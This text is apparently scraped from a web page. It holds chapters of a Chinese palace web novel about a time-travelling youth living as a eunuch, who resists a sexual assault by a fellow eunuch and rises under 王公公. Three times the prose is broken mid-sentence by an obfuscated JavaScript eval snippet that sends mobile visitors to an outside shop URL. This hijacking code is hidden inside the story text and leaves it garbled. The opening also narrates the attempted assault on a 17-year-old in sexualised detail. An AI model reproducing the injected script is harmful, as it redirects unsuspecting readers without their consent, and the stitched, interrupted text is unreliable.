此刻,张旺那张瘦削的脸上满是扭曲的欲望和一丝被反抗激起的恼羞成怒,他的眼睛在黑暗中闪着光,死死盯着关禧因为挣扎而微微散开的领口,那里露出的锁骨和一片白皙的皮肤在月光下泛着莹润的光泽。 “小离子,别给脸不要脸!”张旺喘着粗气,声音沙哑难听,“长着这么一张狐媚子脸,下面又没干净……不就是等着让人玩的吗?王公公能看上你,老子摸摸怎么了?!” “我操你大爷!摸你爹去!给老子滚!”关禧破口大骂,完全顾不上什么古代礼仪,太监身份,属于关禧十七年养成的话语体系在这一刻爆发。 他一边骂。 一边手脚并用,疯狂地踢打挣扎,指甲狠狠抓向张旺的脸颊。 张旺吃痛,“嘶”地一声,脸上火辣辣的,显然被划破了皮。他没想到这个平日里看起来沉默寡言,甚至有些柔弱的小离子,反抗起来竟像只发疯的野猫,力气还不小。尤其是那双眼睛,在黑暗中燃烧着怒火,没有半分怯懦,只有恨不得撕碎他的凶狠。 挣扎间,关禧的寝衣被扯得更开,长期的营养不良使得他瘦削,但少年的骨架在那里,肩线已然有了几分宽度,腰身紧窄,皮肤因为久不见光且底子好,在暗夜里白得晃眼。而那被张旺觊觎的部位,尺寸在同等年纪的少年中,也算得上可观,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892377|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻因剧烈的挣扎和摩擦,隐隐有了些不该有的反应,这更让张旺眼神发红。 “妈的,装什么清高!你这样的,不就是……” 张旺还想用污言秽语打压,同时试图用体重再次压制,但关禧抓住了他分神的瞬间,屈起的膝盖再次狠狠撞向他的小腹。 “唔!”张旺这次痛得弯下了腰。 关禧趁机用力将他从身上掀开,自己也滚落到床下,发出“咚”的一声闷响。他顾不上摔疼的地方,随手抓起旁边小几上那个沉重的,用来压纸张的黄铜镇纸,对着刚从床上爬起还想扑过来的张旺,眼神凶狠得像要杀人,“你再敢碰我一下?!我就砸碎你的脑袋!大不了同归于尽!你看我敢不敢!” 张旺被镇住了。他捂着还在作痛的小腹,看着关禧手里那沉甸甸的凶器,以及他眼中毫不掩饰的杀意,那股邪火瞬间被浇灭了大半,他这才意识到,这个新来的,不是他以为的可以随意拿捏的软柿子。 这时,隔壁铺位的李福和孙河也被这突如其来的动静惊醒了。 李福坐起身,低喝道:“怎么回事?!大半夜闹什么?!” 孙河也窸窸窣窣地坐起来,黑暗中看不清表情。 油灯被李福点亮,昏黄的光线照亮了狭小的直房。只见关禧衣衫不整,头发散乱,脸颊因为愤怒和挣扎泛着不正常的红晕,眼神像刀子一样狠狠剐着张旺。 而张旺则狼狈地站在床铺边,一只手捂着被咬出血痕的手背,脸上还有几道新鲜的血檩子,衣服也被扯得歪斜,神色惊惶不定,眼神躲闪。 这情形,任谁都看得出发生了什么。 李福的脸色沉了下来,“张旺!你干什么?!” 张旺支支吾吾,脸涨得通红,“我……我没……我就是起夜,不小心摔了一跤,碰、碰到他了……” “放你爹的屁!”关禧立刻骂了回去,声音犹带着颤抖,既是后怕也是愤怒,“你摔跤能摔到我身上来?还动手动脚?李哥,他刚才压着我,摸我!还想……还想……”后面的话他实在难以启齿,但通红的眼圈和激愤的神情已经说明了一切。 李福在宫中多年,什么腌賸事没见过,一看这情形便明白了七八分,他厌恶地瞪了张旺一眼,又看了看衣衫凌乱,气得浑身发抖的关禧。关禧那张此刻因愤怒而更添生动艳色的脸,在灯光下确实有种摄人心魄的魅力,也难怪张旺这管不住下半截的会起歪心。只是没想到这小离子看着文静,性子竟如此刚烈泼辣。 “张旺!“李福厉声道,“宫里规矩你都忘了?敢对同僚用强,你是想去慎刑司走一遭吗?!” 听到“慎刑司”三个字,张旺吓得腿一软,噗通一声跪了下来,连连磕头:“李哥!李公公!饶了我这次吧!我……我就是鬼迷心窍!我再也不敢了!求您别声张!小离子,离子哥,对不住!对不住!是我混蛋!”他一边说,一边抽自己耳光。 孙河在一旁低着头,默不作声,仿佛什么都没看见。 关禧胸口剧烈起伏,看着张旺那副丑态,心里一阵阵恶心。这事闹大了对谁都没好处,尤其是在王公公刚刚对他有所赏识的节骨眼上。而且真闹到上面,未必能讨得了好。 李福显然也不想把事情闹大,毕竟是他直房里出的事,他也有管理不严之责。他沉吟片刻,对张旺喝道:“滚回你铺位去!今晚的事,要是敢传出去半个字,我扒了你的皮!明天自己去领十板子,这个月的月钱扣了,赔给小离子压惊!” 张旺如蒙大赦,连滚爬爬地回了自己铺位,缩在角落里不敢再出声。 李福又看向关禧,语气缓和了些:“小离子,你也消消气。张旺已经认罚了,这事……就这么算了。以后夜里惊醒些。”他话里有话,既是安抚,也是提醒。 在这地方,所谓的公道就是这样。 关禧握着冰冷的铜镇纸,胸口剧烈起伏,心脏咚咚咚地跳得像要炸开。他死死地盯着张旺的方向,直到确认他不会再过来,才缓缓松开手,镇纸“哐当”一声掉在地上。 “……谢李哥做主。” 李福点点头,吹熄了油灯:“都睡吧。” 7. 第 7 章 接下来的几天,直房里的气氛压抑得让人喘不过气。 张旺老实了许多,脸上带着伤,眼神躲闪,不敢再正眼看关禧,第二天也自己去找相熟的管事领了十板子,走路都有些一瘸一拐。他那个月的月钱,按照李福的说法,也确实扣下了,只是何时能到关禧手里,还是个未知数。 李福对关禧的态度更疏离了些,公事公办,不多说一句废话。孙河则依旧是那副沉默寡言的样子,仿佛那天夜里的一切从未发生。 关禧也乐得清静。他更加沉默,除了必要的公务交流,几乎不开口,眼神比以往更加锐利,行事也更加谨慎,在这深宫,软弱和退让只会换来更多的欺辱,必须亮出獠牙,哪怕这獠牙微不足道,也要让人知道,他不是任人宰割的羔羊。 身体的恢复在继续,文书房规律清苦的饮食,虽然无法提供充足的营养,但至少让他不再虚弱到无法自保。他开始有意识地锻炼这具身体,在无人注意的清晨或黄昏,偷偷活动手脚,练习发力,哪怕只是最简单的深蹲和俯卧撑,也让他感觉对身体的掌控力在增强。 日子就在这种表面平静,内里紧绷的状态下一天天过去。 这天早上,李福在分配完抄录任务后,难得地多说了几句:“都听着,今日是十五,内务府那边发这个月的月钱。巳时初刻,各自去内务府西侧的广储司值房门口排队领取,核对清楚数目,签押画卯,不得有误。” 月钱! 关禧心中一动。这是他穿越以来,第一次有机会接触到这个时代的货币。虽然知道像他这种低等的太监,月钱必定少得可怜,但这意味着他终于有了一点可以自主支配的资源,哪怕只是一点点。 巳时初刻,关禧跟着李福、张旺、孙河等人,来到了内务府所在的区域。广储司值房门口已经排起了几条不算长的队伍。有像他们一样穿着灰色或青色宦官服的低阶太监,也有一些穿着不同颜色宫装的宫女。 太监和宫女的队伍是分开的,中间隔着一段距离,由不同的司吏负责发放。彼此之间并无交流,甚至连眼神接触都很少,规规矩矩,各自低头排队,偶尔有相熟的太监或宫女会极快地交换一个眼神,或者用几乎看不见的幅度点点头,算是打了招呼。 空气中弥漫着一种压抑的安静,只有司吏唱名,核对,发放铜钱或碎银时发出的细微声响,以及领钱人按指印时窸窸窣窣的声音。 关禧排在自己队伍的末尾,悄悄观察着。 前面的人领到的多是成色不一的碎银子,偶尔有等级高些的,能领到整锭的银锞子。宫女那边情况似乎也差不多,只是数额可能依据等级有所不同。 轮到关禧了。负责发放的司吏头也不抬,翻着名册,唱名:“净身房记名,现文书房行走,小离子。” “小的在。”关禧上前一步,低声道。 司吏从身旁的银盘里拈出两块大小相仿,约莫一两重的碎银,又数了一小串铜钱作为底子钱,一起推到他面前,又指了指旁边的印泥和名册:“月例二两,底子钱一百文,点清楚,在这里按个手印。” 关禧默默拿起那两块冰凉的碎银和那串铜钱。碎银入手微沉,上面有些许刻痕和磨损。这就是他在这个世界立足的第一份资本。 他依言在名册上按下了鲜红的手印。 拿着这二两银子并一百文钱退到一边,关禧心中盘算开来。二两银子,据他模糊了解,足够宫外普通三口之家一两个月嚼用。但在宫内,想要改善生活,打点关系,这点钱却是捉襟见肘。是攒起来以备不时之需,还是赶紧换些实在的东西?比如,买通膳房的小太监,弄点有油水的吃食?或者,买些好点的金疮药,彻底养好旧伤? 正思忖间,他眼角余光瞥见宫女队伍那边似乎起了一点小小的骚动。 一个穿着浅绿色宫装,年纪看起来很小的宫女,正手足无措地站在那里,面前滚落了一小块碎银和几枚铜钱,她急得快哭出来了,小声嗫嚅着:“对、对不起,王司吏,我、我没拿稳……” 发放月钱的司吏皱着眉,不耐烦地呵斥:“毛手毛脚像什么样子!还不快捡起来!” 那小宫女吓得一哆嗦,连忙弯腰去捡。周围其他宫女大多冷漠地看着,无人上前帮忙。 关禧下意识地挪动了一下脚步,又立刻停住了。他现在是太监身份,贸然过去帮忙,不仅不合规矩,可能还会给那个小宫女带来麻烦。 就在这时,一个站在那小宫女身后,穿着淡青色宫装,气质沉稳些的宫女蹲下身,帮着她将散落的银钱一一拾起,放回她手里,低声安慰了一句:“没事了,拿稳些。” 小宫女感激地看了她一眼,连连道谢。 关禧默默收回了目光,将银钱小心地塞进怀里,贴身放好。这微薄的银钱,是他在这深宫中迈出的又一小步。它代表着生存,也提醒着前路的艰难。如何利用好这最初的资本,是他接下来需要仔细思量的问题。 他转身,跟着李福等人,离开了广储司。 刚回到文书房直房没多久,还没等关禧将那两块碎银焐热,门外就响起了小太监略显尖细的通报声:“王公公到——!” 屋子里的人都是一凛。李福立刻放下手中的活计,快步迎到门口,张旺和孙河也赶紧站起身,垂手肃立。关禧心中咯噔一下,也立刻跟着站好,低眉顺眼。 王公公踱着方步走了进来,目光在屋内扫了一圈,最后自然而然地落在了关禧身上,脸上带着惯常看不出深浅的笑容。 “都忙着呢?”王公公尖细的嗓音响起。 “给王公公请安。”李福带头,几人齐声问好。 “嗯。”王公公随意地摆了摆手,视线一直没离开关禧,“小离子,在文书房这儿,还习惯吗?” 关禧上前一步,恭敬地回答:“回公公的话,托公公的福,李哥和各位同僚都多有照应,奴才一切都好,正在努力学着规矩和差事。” “那就好。”王公公点点头,像是随口一提般说道,“今儿个是十五,广储司那边发月钱了吧?领了多少?” 来了,关禧心念电转。王公公绝不是缺他这点月钱的人,他亲自过来,在这个时间点问起这个,用意再明显不过——这是在试探他的心意,看他懂不懂规矩,知不知孝敬,心里有没有他这个引路人。 关禧没有丝毫犹豫,脸上立刻堆起感激又带着点惶恐的笑容,从怀里掏出那还没捂热的两块碎银并那一小串铜钱,双手捧着,恭恭敬敬地举到王公公面前,腰弯得很低: “回公公,刚领了二两月例并一百文底子钱。小的这条命是公公捡回来的,能在文书房当差也是公公恩典。这点微末银钱,本是身外之物,若公公不嫌弃,小的愿尽数孝敬公公,聊表寸心,谢公公再造之恩!” 他这话说得极其漂亮,既点明了自己不忘恩,姿态也放得足够低,将孝敬说成了谢恩,让人挑不出错处。 王公公看着他捧到眼前的银钱,眼中闪过一丝满意的神色。他并没有立刻去接,而是故意停顿了片刻,享受着这种被敬畏,被供奉的感觉。 李福、张旺等人都在一旁看着,眼神复杂。张旺更是低垂着眼,嘴角几不可察地撇了一下,似是嫉妒关禧这攀附的机会,又似不屑他这谄媚的举动。 “呵呵……”王公公终于轻笑出声,伸出保养得宜,戴着个玉扳指的手,用指尖拈起了那两块成色普通的碎银,在手里掂了掂,随意道,“你这孩子,倒是个有心的。罢了,既然是你一片孝心,咱家就收下了。这一百文钱,你自己留着吧,在宫里走动,身上没几个子儿也不方便。” 他只收银子,留下铜钱,既全了自己的面子,显示了他看不上这点小钱,又显得体恤下属,给了关禧一点甜头和活动的空间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892378|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢公公体恤!”关禧立刻顺杆爬,将那一百文钱收回,脸上适当地露出受宠若惊的表情。 王公公将碎银纳入袖中,心情更好了些。他看了看左右,对李福等人道:“你们先出去忙吧,咱家跟小离子说几句话。” “是,公公。”李福应了一声,带着眼神各异的张旺和孙河退了出去,并贴心地带上了房门。 直房里只剩下王公公和关禧两人。 王公公走到桌边,慢悠悠地坐下,关禧赶紧垂手侍立在一旁。 “小离子啊,”王公公端起桌上不知谁喝剩的半杯冷茶,用杯盖拨了拨浮沫,语气变得有些语重心长,“在文书房这儿,虽说清静,能学点东西,但终究……没什么大出息。抄抄写写,能有多大前程?” 正题来了。关禧恭敬地应道:“奴才愚钝,全凭公公指点。” 王公公放下茶杯,看着他:“咱家在内务府派办处当差,虽说比不上司礼监那些大红人,但好歹管着宫内一部分采买,修缮,人事调动的具体事宜,是个实缺,消息也灵通。” 内务府派办处,关禧立刻在脑中调取相关信息。这确实是个有油水,有实权的部门,王公公能在这里当差,哪怕不是最高长官,也绝对是个说得上话的人物,比在典籍司甚至文书房外院要有权势得多。 “你是个伶俐人,记性好,心思也细。”王公公继续道,“在文书房,屈才了。咱家身边,正缺个像你这样机灵,又识文断字,还能帮着整理文书,跑跑腿的贴心人儿。” 他目光落在关禧那张恭顺的脸上,意有所指:“跟着咱家,在派办处当差,虽说名义上可能暂时还是个无品级的长随太监,但接触的人,经手的事,绝非文书房可比。做好了,将来提拔起来也快。总好过在这里,埋没了你这副……好相貌和灵性,是不是?” 关禧的心脏怦怦直跳。机会,这确实是眼前能抓住的最好机会,跟着王公公,进入内务府派办处,意味着他将更接近宫廷运作的实质层面,拥有更多获取信息,结交人脉的可能,也能在一定程度上借助王公公的势力,暂时避开侍寝的风险。 更重要的是,派办处顾名思义,负责宫内部分对外的采买,协调事宜,偶尔是需要派人出宫公干的。虽然这种机会极其稀少,且通常轮不到他这种新人,但毕竟是一条潜在的,能够接触宫外世界的缝隙。只要有机会出宫,哪怕只是看一眼那高墙外的天空,都意味着无限的可能——寻找回归方法的线索,或者……谋划更遥远的未来。 这无异于与虎谋皮,需要更加小心谨慎地周旋,但总比在底层毫无希望地挣扎要强,他立刻躬身,声音带着恰到好处的激动和感激,甚至比刚才更添了几分真切:“小的叩谢公公提携大恩!小的一定尽心竭力,侍奉公公,办好差事,绝不给公公丢脸!公公能给小的这个机会,小的……小的万死难报!” 王公公对他的反应很满意,“嗯,懂事。那就这么定了。回头咱家跟文书房这边打声招呼,你这几天把手头的活计交接一下,就过来派办处找咱家报到。” “是!小的遵命!”关禧再次躬身。 王公公站起身,拍了拍他的肩膀,手指在他瘦削的肩头轻轻按了按,力道暧昧不明:“好好干,咱家不会亏待你的。说不定……将来有什么需要出宫跑腿的琐事,也能让你去见识见识。” 他似乎看穿了关禧内心深处对宫外的渴望,或者说,他习惯于用这种恩威并施的手段,给下属一点盼头,让其更加死心塌地。但无论如何,这明确的话语,无疑是将那丝微光,变成了一道清晰可见的门缝。 说完,他不再多留,转身踱步离开。 “小的……谢公公!”关禧保持着躬身的姿势,直到王公公的脚步声远去,才缓缓直起身,他看着空荡荡的门口,心脏因那“出宫”二字带来的渴望,跳得更加剧烈。 8. 第 8 章 交接文书房的差事并不复杂。 李福公事公办,眼神里多了几分不易察觉的疏远和谨慎。张旺则彻底躲着关禧,偶尔目光撞上,也立刻惊慌地移开。孙河还是那副沉默的样子,只是在关禧收拾自己那点微不足道的行李时,默默递过来一个干净的布包。 “谢谢孙哥。”关禧低声道。 孙河摇了摇头,什么都没说。 离开文书房那天,天气有些阴沉。关禧背着那个小小的包袱,走在通往内务府派办处的宫道上。这条路,比从掖庭到典籍司,到文书房的路,似乎更宽阔些,来往的太监宫女神色也更匆忙,衣着体面许多。 派办处设在内务府衙门旁边的一处独立院落里。比起典籍司的清冷,文书房的刻板,这里明显多了几分烟火气。院门口有小太监守着,进出的人大多步履匆匆,手里或拿着单据,或捧着样品,偶尔还能看到几个穿着宫外服饰的商人模样的人,低着头,恭敬地跟着太监往里走。 关禧通报了姓名和来意,守门的小太监显然已被吩咐过,打量了他一眼,便引着他进去。 院子不小,几排厢房,分别挂着“采买”,“库司”,“工役”,“文书”等牌子。人来人往,算盘珠子的噼啪声,低声交谈声,验看货物的吆喝声混杂在一起,形成一种独特的氛围。 小太监将他引到正对着院门的一间较大的堂屋外,低声道:“王公公就在里面,你自己进去吧。” “有劳了。”关禧深吸一口气,整理了一下衣冠,垂首迈过高高的门槛。 堂屋内,王公公正坐在一张紫檀木大案后,手里拿着一本册子,听着下面一个穿着青色管事太监服的人回话。案几上堆着不少账簿,单据,旁边还站着两个小太监,随时听候吩咐。 关禧安静地走到堂下角落,垂手肃立,不敢打扰。 王公公抬眼瞥了他一下,没说话,继续处理事务。只听得那管事太监在回禀一批新进宫绸的验收情况,数目,成色,有无瑕疵,说得条理清晰。王公公偶尔发问,切中要害,显得精明干练。 关禧默默听着,将这些流程,规矩记在心里。 约莫一炷香后,事务处理完毕,那管事太监和两个小太监行礼退下。王公公这才放下册子,端起手边的盖碗茶,慢悠悠地呷了一口,目光落在关禧身上。 “来了。” “是,公公。小的来向公公报到,听候公公差遣。”关禧上前两步,恭敬行礼。 王公公放下茶碗,打量着他。今日的关禧,换上了一套派办处低等长随太监统一的靛青色棉布袍子,虽然料子普通,但浆洗得干净平整,衬得他肤色愈发白皙,身姿挺拔。因为伤势好转和饮食略有改善,脸颊也丰润了些许,褪去了最初的死气,那份介于少年与少女之间的清俊昳丽,越发凸显出来。 “嗯,精神头不错。”王公公点点头,还算满意,“既然到了派办处,就要守派办处的规矩。咱家这里,不养闲人,也最看重机灵和本分二字。该看的看,不该看的别瞎看;该听的听,不该听的装聋作哑;该问的问,不该问的把嘴闭紧。明白吗?” “小的明白。”关禧应道。这话里的警告意味,他听得懂。 “你初来乍到,先从基础的做起。”王公公指了指外面,“跟着负责文书归档的牛管事,帮着整理、抄录往来单证,熟悉熟悉各处的流程和惯例。手脚勤快些,眼里有活。” “是。” “住的地方,已经给你安排好了,就在后面排房里,跟另外两个小崽子一起。待会儿自有人带你过去。”王公公交代完,便挥挥手,“去吧,找牛管事报到。” “小的告退。”关禧躬身退出了堂屋。 引路的小太监将他带到西厢一间挂着“文书录副”牌子的屋子前。里面一个四十多岁,面容严肃的太监正在核对单据,这便是牛管事。 关禧恭敬地说明了来意。 牛管事抬起眼皮,看了他一眼,没什么表情,指了指角落里一张堆着些旧单据的空桌子:“那是你的位置。先把上个月采买司送来的这些货单按品类和日期重新誊录一遍,字迹要工整,不得有误。规矩自己看墙上贴的。” 墙上贴着一张泛黄的纸,写着文书录副房的各项规矩,包括字体要求,格式,归档方法等等。 “是,牛管事。”关禧走到那张空桌前坐下。桌子有些旧,但擦得干净。他摊开那些杂乱的单据,拿起一支毛笔,蘸了墨,开始按照要求,一笔一画地认真抄录起来。 这是王公公给他的第一个考验。整理单据看似枯燥,却能最快地让他了解派办处的运作,宫内各项用度的品类,价格,来源。这些看似微不足道的信息,或许在某一天,就能成为他有用的筹码。 他必须做好。 * 接下来的日子,关禧便在这派办处安顿下来。他住的地方比文书房的直房条件又好了一些,三人一间,每人有一张属于自己的木板床和一个小柜子,私密性稍好。 同屋的两人,一个叫小柯,在采买司跑腿,性子活络,另一个叫小路,在库司当值,有些沉默。两人对关禧的到来没什么特别表示,保持着井水不犯河水的态度。 关禧每日除了完成牛管事交代的抄录,整理工作,便是在派办处院内默默观察。他记下了各处管事太监的姓名,职责,大致性情,留意着往来人等的身份和交谈的只言片语。他发现派办处确实如王公公所言,消息灵通,不仅关乎宫内用度,有时甚至能听到一些前朝动向的风声。 王公公也没给关禧特殊的关注,仿佛他只是众多下属中普通的一个,但他那双精明的眼睛,时不时会落在他身上,评估着他的表现。 关禧沉住气,不急不躁,将每一份经手的文书都处理得条理清晰,字迹工整。偶尔牛管事忙不过来,他会主动帮忙分摊一些杂事,态度恭顺,手脚麻利。渐渐地,连一向严肃的牛管事,对着他时,脸色也缓和了些许。 这天上午,关禧正在誊录一批瓷器采买的单据,王公公身边的一个小太监过来传话:“小离子,公公让你过去一趟。” 关禧心中一凛,放下笔,整理了一下衣袍,跟着小太监来到王公公的堂屋。 屋内除了王公公,还有一个穿着绸缎常服,微微发福的中年人,看打扮像是宫外的商人,正躬身站着,神色有些紧张。 王公公见关禧进来,对他招招手:“小离子,你过来。这位是锦绣阁的孙掌柜,来送一批新样式的荷包、香囊。你眼神好,帮着看看,针脚、用料如何。” 关禧依言上前。桌上摊开着几十个做工精巧的荷包香囊,用料有绸有缎,刺绣图案各异。这不仅是看货,可能也是一次对他眼力和应对的考校。 他拿起几个,仔细看了看针脚细密程度,绣线颜色搭配,布料质感,又轻轻嗅了嗅香囊的气味。结合之前在典籍司和文书房看到的关于宫内用度等级,妃嫔喜好的零星信息,他心中大致有了判断。 他放下东西,垂首对王公公回道:“回公公,小的粗略看了。这批货品,用料算是中等,针脚也还算匀净。只是……这缠枝莲的纹样,按制似是僭越了些,非低位妃嫔或宫女所能用。还有这几个秋香色、赭石色的,颜色过于沉暗,恐怕不太合宫中贵人们时下的喜好。倒是这几个藕荷、月白、浅绯色的,配色清雅,绣样也新颖,或可入眼。” 他语气平稳,条理清晰,点出了关键,既不过分贬低,也没胡乱吹捧。 王公公还没说话,那孙掌柜先急了,连忙辩解:“公公明鉴!这缠枝莲……是小的一时疏忽,绝无僭越之心!颜色……颜色……” 王公公抬手止住了他的话,脸上露出一丝笑意,看向关禧:“哦?你还懂这些?” “小的不敢说懂。”关禧谦卑道,“只是在文书房时,偶尔抄录过一些内务府关于服制,用度的旧例,又见近日各宫支领物件的单子上,浅色系似乎更受青睐,故而大胆猜测。” 王公公点了点头,对孙掌柜道:“听见了?以后进上的东西,多用些心。这些藕荷、月白的留下,其他的,拿回去改改再说。” 孙掌柜如蒙大赦,连连称是。 孙掌柜退下后,王公公心情颇佳,对关禧道:“没想到,你倒是个留心事的。不错。” “公公谬赞,小的只是尽本分。” “嗯。”王公公沉吟片刻,状似无意地说道,“过两日,有一批从南边运来的时新绸缎和香料要入库,需得派人去皇城外的承运库交接、核对。这活儿……你想去吗?” 皇城外,承运库。 虽然可能只是从皇宫的侧门出去,进入隶属于皇家的外围库区,并未真正踏入民间市井,但这已经是迈出了那堵高墙。 关禧强行压下翻涌的情绪,努力让声音保持平稳,“小的……小的多谢公公信重,小的一定仔细核对,办好差事,绝不负公公所托。” 王公公看着他眼中那难以完全掩饰的亮光,嘴角的笑意深了些。 “好,那就这么定了。回头让牛管事把相关单据和规矩给你,仔细看熟了,可别出了岔子。” “是,小的遵命。” 退出堂屋,走在回文书录副房的路上,关禧感觉自己的脚步都有些发飘。阳光透过廊檐,在他眼前晃动出斑驳的光影。 希望,就像这透过高墙缝隙照进来的光,虽然微弱,却真实地落在了他身上。 他终于,要看到外面的天空了。 * 派办处的节奏明显比典籍司和文书房外院快上许多。空气中弥漫着墨香,算盘珠的噼啪声,以及各类物资特有的气味——新绸缎的浆洗味,干药材的苦香,偶尔还有海外舶来品那奇异浓烈的香料气息。 关禧所在的文书录副房,是整个派办处信息的中转站之一。各类采买单据,入库记录,领用批文,最终都会汇集到这里,进行抄录,归档。牛管事要求严苛,关禧不敢有丝毫懈怠,字迹始终保持着工整清晰,分类归档也做得井井有条。他发现,通过这些看似枯燥的单据,能拼凑出宫内各殿各局用度的偏好,季节性的需求变化,甚至能隐约感受到不同主子受宠程度的起伏——比如,近月来,玉芙宫徐昭容和承华宫冯昭仪处支领的份例和特殊用度,就明显比其他几位低位妃嫔要丰厚和频繁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892379|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >午时,钟声敲响,是短暂的休息和用饭时间。 派办处有自己的小厨房,虽比不上御膳房的精致,但比起净舍和文书房的统一配送,已是天壤之别。至少,粥是稠的,窝头是新鲜的,偶尔还能见到几片油汪汪的肥肉片子或一点绿油油的蔬菜。 关禧领了自己的那份饭食,一碗还算浓稠的小米粥,一个杂面馒头,一小碟咸菜,今天运气好,居然还有一小勺炖得烂熟的豆角。他正寻思着找个角落安静吃完,同屋的小柯端着碗凑了过来。 “离子哥,这儿没人吧?”小柯笑嘻嘻地,不等关禧回答就一屁股坐在了旁边的石凳上。他年纪与关禧相仿,在采买司跑腿,消息灵通,性子活络,是派办处的“包打听”。 “没人,坐吧。”关禧点点头,小口咬着馒头,他对小柯这种自来熟的态度保持着一定的距离,但也不排斥,在派办处,多个消息渠道总不是坏事。 小柯一边唏哩呼噜地喝着粥,一边压低声音道:“离子哥,听说王公公让你去看了锦绣阁的货?行啊你,刚来就能在公公跟前露脸了。” 关禧不动声色:“只是凑巧,公公考校罢了。” “嘿嘿,那也是本事。”小柯眨眨眼,话题一转,“诶,下午我得跑趟腿,去趟玉芙宫和承华宫送东西,真晦气。” “送什么?还得劳你亲自跑一趟?”关禧知道小柯主要在宫外和内务府之间跑动,直接往后宫送东西的机会并不多。 小柯撇撇嘴,用筷子戳着碗里的豆角:“还能是啥?就是锦绣阁送来的那批新样式的荷包香囊呗!王公公挑了些样子新巧的,让和冯昭仪给徐昭容两位娘娘送去瞧瞧,若合眼缘,便留下。这种往主子跟前递东西的活儿,看着是露脸,实则麻烦得很,稍有不慎就得吃挂落。” 关禧了然。原来如此。派办处负责采买,有时一些新奇的,尚未正式列入份例的物品,会先挑选一些送到得宠的妃嫔处试用或赏玩,这既是讨好,也是试探风向。 负责送达的太监,确实需要几分机灵和运气。 “玉芙宫那位,脾气可不大好,你小心些。”关禧想起月华门前的冲突,低声提醒了一句。 “可不是嘛!”小柯苦着脸,“听说徐昭容最近心情欠佳,我这心里正打鼓呢。唉,要是像给冯昭仪送东西那样就好了,冯昭仪性子温和,出手也大方,就算东西不合意,也不会为难我们这些跑腿的。本来是小德子跟我一起去的,好歹有个伴,谁承想……” 他话音未落,就见另一个穿着同样靛青袍子的小太监捂着肚子,脸色煞白,脚步虚浮地挪了过来,额头上全是冷汗。 “小、小柯哥对不住……我、我这肚子……怕是昨儿晚上吃坏了东西,绞着疼……一趟趟跑茅房,腿都软了……”小德子声音虚弱,“这、这去后宫送东西的差事……我、我怕是顶不住了……” 小柯一看他这架势,眉头拧成了疙瘩,又是嫌弃又是着急:“哎呀!你这家伙!早不病晚不病,偏偏赶上这节骨眼!王公公吩咐的差事,耽误了谁担待得起?” 小德子都快哭出来了,捂着肚子弯下腰,哎哟哎哟地呻吟。 小柯急得原地转了个圈,目光在院子里逡巡,忽然瞥见正准备回去继续抄录单据的关禧,眼睛一亮。 “离子哥!”小柯几步窜到关禧面前,脸上堆起讨好的笑容,“离子哥,帮个忙!你看小德子这德行,肯定是去不了了。这往玉芙宫和承华宫送东西,一个人去不合规矩,也容易出错。你……你下午忙不?能不能替小德子跑一趟?” 关禧脚步一顿,心中念头飞转。 去后宫,直面妃嫔?风险不言而喻。 尤其是玉芙宫那位徐昭容,上次的冲突还历历在目。可……这也是一个机会。一个近距离观察两位妃嫔,尤其是那位据说性情温和,协理宫务的冯昭仪的机会。或许能从中窥见一些宫廷人际的脉络,甚至……万一呢?万一能搭上一点关系?总比一直困在派办处整理文书,被动等待王公公那不知何时才会再次施舍的出宫机会要强。 而且,小柯在派办处人面熟,让他欠个人情,以后打听消息也方便。 见他沉吟,小柯连忙加码:“离子哥,你放心!就是送个东西,递到各宫管事宫女手里就行,运气好连主子的面都见不着!冯昭仪那边肯定没事,徐昭容那儿……咱们小心点,送了就走!完事儿了,我这个月的底子钱分你一半……不,全给你!” 关禧抬眼,看着小柯急切的脸,又瞥了一眼还在哼哼唧唧的小德子,终于点了点头,声音平静:“钱就不必了。同处当差,互相帮衬是应该的。我回去跟牛管事说一声,把手头的活计放一放。” 小柯大喜过望,连连作揖:“哎哟!谢谢离子哥!你可救了我了!回头我请你吃好的!” 关禧转身去找牛管事告假。 牛管事听闻是顶替去后宫送东西,抬眼皮看了他一眼,没多说什么,只淡淡嘱咐了一句:“规矩点,别惹事。”便准了。 片刻后,关禧和小柯各自提着一个精致的多层提篮,里面分门别类放着王公公挑出来的荷包香囊,走出了派办处的院子。 9. 第 9 章 阳光正好,洒在朱红宫墙上,晃得人有些眼花。 关禧提着沉甸甸的提篮,跟在小柯身后,走在通往东西六宫的宫道上。脚下的青石板被晒得微微发烫,空气里弥漫着夏日草木蒸腾出略带苦涩的芬芳,与他平日所处的那些充斥着墨臭和算盘声的角落截然不同。 越靠近后宫区域,巡逻的侍卫和来往的宫女太监便越多,规矩也越发森严。小柯显然常走这条路,熟门熟路,遇到品阶高的太监或女官,便提前停下脚步,躬身避让,态度恭谨。 